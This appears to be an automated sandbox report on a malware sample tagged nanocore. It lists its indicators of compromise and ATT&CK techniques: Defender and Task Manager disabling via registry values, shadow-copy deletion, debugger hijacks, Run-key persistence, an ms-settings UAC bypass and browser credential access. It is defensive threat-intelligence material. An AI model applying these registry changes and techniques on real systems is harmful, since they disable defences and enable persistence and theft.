nanocore | a8963bdb57a329fd37868a65a7772a7faebc0ac82ee34a30d05214341861490c

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	geekbits.io_chrome.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3396	powershell.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	geekbits.io_chrome.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	geekbits.io_chrome.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	geekbits.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\geekbits.io_chrome.exe"	geekbits.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	geekbits.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\geekbits.io_chrome.exe"	geekbits.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	geekbits.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\geekbits.io_chrome.exe"	geekbits.io_chrome.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

persistence privilege_escalation

Disable or Modify System Firewall

T1562.004

pid	Process
2376	netsh.exe

Creates a file in the Startup directory 1 TTPs 64 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_45.pdf	geekbits.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_47.pdf	geekbits.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_102.pdf	geekbits.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_144.pdf	geekbits.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_153.pdf	geekbits.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_163.pdf	geekbits.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_163.pdf	geekbits.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_24.pdf	geekbits.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_45.pdf	geekbits.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_75.pdf	geekbits.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_136.pdf	geekbits.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_184.pdf	geekbits.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_134.pdf	geekbits.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_146.pdf	geekbits.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_155.pdf	geekbits.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_161.pdf	geekbits.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_174.pdf	geekbits.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_177.pdf	geekbits.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_194.pdf	geekbits.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_50.pdf	geekbits.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_79.pdf	geekbits.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_139.pdf	geekbits.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_187.pdf	geekbits.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_34.pdf	geekbits.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_48.pdf	geekbits.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_55.pdf	geekbits.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_166.pdf	geekbits.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_192.pdf	geekbits.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_96.pdf	geekbits.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_106.pdf	geekbits.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_134.pdf	geekbits.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_143.pdf	geekbits.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_145.pdf	geekbits.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_147.pdf	geekbits.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_42.pdf	geekbits.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_66.pdf	geekbits.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_87.pdf	geekbits.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_101.pdf	geekbits.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_154.pdf	geekbits.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_190.pdf	geekbits.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_41.pdf	geekbits.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_165.pdf	geekbits.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_183.pdf	geekbits.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_19.pdf	geekbits.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_22.pdf	geekbits.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_64.pdf	geekbits.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_173.pdf	geekbits.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_186.pdf	geekbits.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_193.pdf	geekbits.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_16.pdf	geekbits.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_20.pdf	geekbits.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_54.pdf	geekbits.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_79.pdf	geekbits.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_89.pdf	geekbits.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_110.pdf	geekbits.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_126.pdf	geekbits.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_132.pdf	geekbits.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_55.pdf	geekbits.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_129.pdf	geekbits.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_150.pdf	geekbits.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_158.pdf	geekbits.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_13.pdf	geekbits.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_64.pdf	geekbits.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_83.pdf	geekbits.io_chrome.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\geekbits.io_chrome.exe"	geekbits.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\geekbits.io_chrome.exe"	geekbits.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\geekbits.io_chrome.exe"	geekbits.io_chrome.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
3300	tasklist.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\svchost.exe	geekbits.io_chrome.exe
File created	C:\Windows\system32\sysupdate.exe	geekbits.io_chrome.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	geekbits.io_chrome.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
5992	wscript.exe
1080	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	geekbits.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	geekbits.io_chrome.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2520	sc.exe
4500	sc.exe
5864	sc.exe
608	sc.exe
1776	sc.exe
1084	sc.exe
2612	sc.exe
3660	sc.exe
3856	sc.exe
6092	sc.exe
2776	sc.exe
884	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4232	cmd.exe
2556	cmd.exe
1804	cmd.exe
4452	cmd.exe
4768	cmd.exe
764	cmd.exe
6100	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4508	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
4500	NETSTAT.EXE
1132	ipconfig.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
5020	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
3188	vssadmin.exe
4864	vssadmin.exe
5268	vssadmin.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Control Panel\Desktop\WallpaperStyle = "2"	geekbits.io_chrome.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134302028137912546"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe

Modifies registry class 16 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell	geekbits.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open\command\DelegateExecute	geekbits.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	geekbits.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	geekbits.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	geekbits.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open\command	geekbits.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open	geekbits.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell	geekbits.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open\command	geekbits.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\geekbits.io_chrome.exe"	geekbits.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	geekbits.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet"	geekbits.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings	geekbits.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open	geekbits.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\geekbits.io_chrome.exe\" \"%1\""	geekbits.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings	geekbits.io_chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
2456	schtasks.exe
4900	schtasks.exe
4060	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1768	chrome.exe
1768	chrome.exe
3396	powershell.exe
3396	powershell.exe
3396	powershell.exe
2376	WMIC.exe
2376	WMIC.exe
2376	WMIC.exe
2376	WMIC.exe
4204	geekbits.io_chrome.exe
4204	geekbits.io_chrome.exe
4204	geekbits.io_chrome.exe
4204	geekbits.io_chrome.exe
4204	geekbits.io_chrome.exe
4204	geekbits.io_chrome.exe
4204	geekbits.io_chrome.exe
4204	geekbits.io_chrome.exe
4204	geekbits.io_chrome.exe
4204	geekbits.io_chrome.exe
3108	WMIC.exe
3108	WMIC.exe
3108	WMIC.exe
3108	WMIC.exe
4204	geekbits.io_chrome.exe
4204	geekbits.io_chrome.exe
4204	geekbits.io_chrome.exe
2712	WMIC.exe
2712	WMIC.exe
2712	WMIC.exe
2712	WMIC.exe
4204	geekbits.io_chrome.exe
4204	geekbits.io_chrome.exe
4204	geekbits.io_chrome.exe
4204	geekbits.io_chrome.exe
4204	geekbits.io_chrome.exe
4204	geekbits.io_chrome.exe
4204	geekbits.io_chrome.exe
4204	geekbits.io_chrome.exe
4204	geekbits.io_chrome.exe
4204	geekbits.io_chrome.exe
4204	geekbits.io_chrome.exe
4204	geekbits.io_chrome.exe
4204	geekbits.io_chrome.exe
4204	geekbits.io_chrome.exe
4204	geekbits.io_chrome.exe
4204	geekbits.io_chrome.exe
4204	geekbits.io_chrome.exe
4204	geekbits.io_chrome.exe
4204	geekbits.io_chrome.exe
4204	geekbits.io_chrome.exe
4204	geekbits.io_chrome.exe
4204	geekbits.io_chrome.exe
4204	geekbits.io_chrome.exe
4204	geekbits.io_chrome.exe
4204	geekbits.io_chrome.exe
4204	geekbits.io_chrome.exe
4204	geekbits.io_chrome.exe
4204	geekbits.io_chrome.exe
4204	geekbits.io_chrome.exe
4204	geekbits.io_chrome.exe
4204	geekbits.io_chrome.exe
4204	geekbits.io_chrome.exe
4204	geekbits.io_chrome.exe
4204	geekbits.io_chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4204	geekbits.io_chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs

pid	Process
1768	chrome.exe
1768	chrome.exe
1768	chrome.exe
1768	chrome.exe
1768	chrome.exe
1768	chrome.exe
1768	chrome.exe
1768	chrome.exe
1768	chrome.exe
1768	chrome.exe
1768	chrome.exe
1768	chrome.exe
1768	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1768	chrome.exe
Token: SeCreatePagefilePrivilege	1768	chrome.exe
Token: SeDebugPrivilege	3396	powershell.exe
Token: SeShutdownPrivilege	1768	chrome.exe
Token: SeCreatePagefilePrivilege	1768	chrome.exe
Token: SeShutdownPrivilege	1768	chrome.exe
Token: SeCreatePagefilePrivilege	1768	chrome.exe
Token: SeBackupPrivilege	5508	vssvc.exe
Token: SeRestorePrivilege	5508	vssvc.exe
Token: SeAuditPrivilege	5508	vssvc.exe
Token: SeIncreaseQuotaPrivilege	2376	WMIC.exe
Token: SeSecurityPrivilege	2376	WMIC.exe
Token: SeTakeOwnershipPrivilege	2376	WMIC.exe
Token: SeLoadDriverPrivilege	2376	WMIC.exe
Token: SeSystemProfilePrivilege	2376	WMIC.exe
Token: SeSystemtimePrivilege	2376	WMIC.exe
Token: SeProfSingleProcessPrivilege	2376	WMIC.exe
Token: SeIncBasePriorityPrivilege	2376	WMIC.exe
Token: SeCreatePagefilePrivilege	2376	WMIC.exe
Token: SeBackupPrivilege	2376	WMIC.exe
Token: SeRestorePrivilege	2376	WMIC.exe
Token: SeShutdownPrivilege	2376	WMIC.exe
Token: SeDebugPrivilege	2376	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2376	WMIC.exe
Token: SeRemoteShutdownPrivilege	2376	WMIC.exe
Token: SeUndockPrivilege	2376	WMIC.exe
Token: SeManageVolumePrivilege	2376	WMIC.exe
Token: 33	2376	WMIC.exe
Token: 34	2376	WMIC.exe
Token: 35	2376	WMIC.exe
Token: 36	2376	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2376	WMIC.exe
Token: SeSecurityPrivilege	2376	WMIC.exe
Token: SeTakeOwnershipPrivilege	2376	WMIC.exe
Token: SeLoadDriverPrivilege	2376	WMIC.exe
Token: SeSystemProfilePrivilege	2376	WMIC.exe
Token: SeSystemtimePrivilege	2376	WMIC.exe
Token: SeProfSingleProcessPrivilege	2376	WMIC.exe
Token: SeIncBasePriorityPrivilege	2376	WMIC.exe
Token: SeCreatePagefilePrivilege	2376	WMIC.exe
Token: SeBackupPrivilege	2376	WMIC.exe
Token: SeRestorePrivilege	2376	WMIC.exe
Token: SeShutdownPrivilege	2376	WMIC.exe
Token: SeDebugPrivilege	2376	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2376	WMIC.exe
Token: SeRemoteShutdownPrivilege	2376	WMIC.exe
Token: SeUndockPrivilege	2376	WMIC.exe
Token: SeManageVolumePrivilege	2376	WMIC.exe
Token: 33	2376	WMIC.exe
Token: 34	2376	WMIC.exe
Token: 35	2376	WMIC.exe
Token: 36	2376	WMIC.exe
Token: SeDebugPrivilege	4204	geekbits.io_chrome.exe
Token: SeShutdownPrivilege	1768	chrome.exe
Token: SeCreatePagefilePrivilege	1768	chrome.exe
Token: SeIncBasePriorityPrivilege	4204	geekbits.io_chrome.exe
Token: SeShutdownPrivilege	1768	chrome.exe
Token: SeCreatePagefilePrivilege	1768	chrome.exe
Token: SeDebugPrivilege	4500	NETSTAT.EXE
Token: SeShutdownPrivilege	1768	chrome.exe
Token: SeCreatePagefilePrivilege	1768	chrome.exe
Token: SeDebugPrivilege	4216	whoami.exe
Token: SeDebugPrivilege	3300	tasklist.exe
Token: SeShutdownPrivilege	1768	chrome.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
1768	chrome.exe
1768	chrome.exe
1768	chrome.exe
1768	chrome.exe
1768	chrome.exe
1768	chrome.exe
1768	chrome.exe
1768	chrome.exe
1768	chrome.exe
1768	chrome.exe
1768	chrome.exe
1768	chrome.exe
1768	chrome.exe
1768	chrome.exe
1768	chrome.exe
1768	chrome.exe
1768	chrome.exe
1768	chrome.exe
1768	chrome.exe
1768	chrome.exe
1768	chrome.exe
1768	chrome.exe
1768	chrome.exe
1768	chrome.exe
1768	chrome.exe
1768	chrome.exe
1768	chrome.exe
1768	chrome.exe
1768	chrome.exe
1768	chrome.exe
1768	chrome.exe
1768	chrome.exe
1768	chrome.exe
1768	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
1768	chrome.exe
1768	chrome.exe
1768	chrome.exe
1768	chrome.exe
1768	chrome.exe
1768	chrome.exe
1768	chrome.exe
1768	chrome.exe
1768	chrome.exe
1768	chrome.exe
1768	chrome.exe
1768	chrome.exe
1768	chrome.exe
1768	chrome.exe
1768	chrome.exe
1768	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4204	geekbits.io_chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4204 wrote to memory of 1768	4204	geekbits.io_chrome.exe	89
PID 1768 wrote to memory of 1668	1768	chrome.exe	90
PID 4204 wrote to memory of 3396	4204	geekbits.io_chrome.exe	91
PID 4204 wrote to memory of 1776	4204	geekbits.io_chrome.exe	93
PID 1768 wrote to memory of 4508	1768	chrome.exe	95
PID 1768 wrote to memory of 2960	1768	chrome.exe	97
PID 1768 wrote to memory of 2960	1768	chrome.exe	97
PID 1768 wrote to memory of 3900	1768	chrome.exe	100
PID 1768 wrote to memory of 3900	1768	chrome.exe	100
PID 1768 wrote to memory of 2788	1768	chrome.exe	101
PID 1768 wrote to memory of 4528	1768	chrome.exe	96
PID 1768 wrote to memory of 2788	1768	chrome.exe	101
PID 1768 wrote to memory of 4528	1768	chrome.exe	96
PID 4204 wrote to memory of 2776	4204	geekbits.io_chrome.exe	99
PID 4204 wrote to memory of 884	4204	geekbits.io_chrome.exe	103
PID 1768 wrote to memory of 2840	1768	chrome.exe	105
PID 1768 wrote to memory of 2840	1768	chrome.exe	105
PID 4204 wrote to memory of 1084	4204	geekbits.io_chrome.exe	106
PID 4204 wrote to memory of 2612	4204	geekbits.io_chrome.exe	108
PID 1768 wrote to memory of 4376	1768	chrome.exe	111
PID 1768 wrote to memory of 4376	1768	chrome.exe	111
PID 4204 wrote to memory of 3660	4204	geekbits.io_chrome.exe	182
PID 4204 wrote to memory of 3856	4204	geekbits.io_chrome.exe	113
PID 4204 wrote to memory of 2520	4204	geekbits.io_chrome.exe	115
PID 4204 wrote to memory of 2224	4204	geekbits.io_chrome.exe	117
PID 4204 wrote to memory of 6092	4204	geekbits.io_chrome.exe	118
PID 4204 wrote to memory of 4500	4204	geekbits.io_chrome.exe	157
PID 2224 wrote to memory of 5536	2224	fodhelper.exe	121
PID 4204 wrote to memory of 5268	4204	geekbits.io_chrome.exe	123
PID 4204 wrote to memory of 2376	4204	geekbits.io_chrome.exe	166
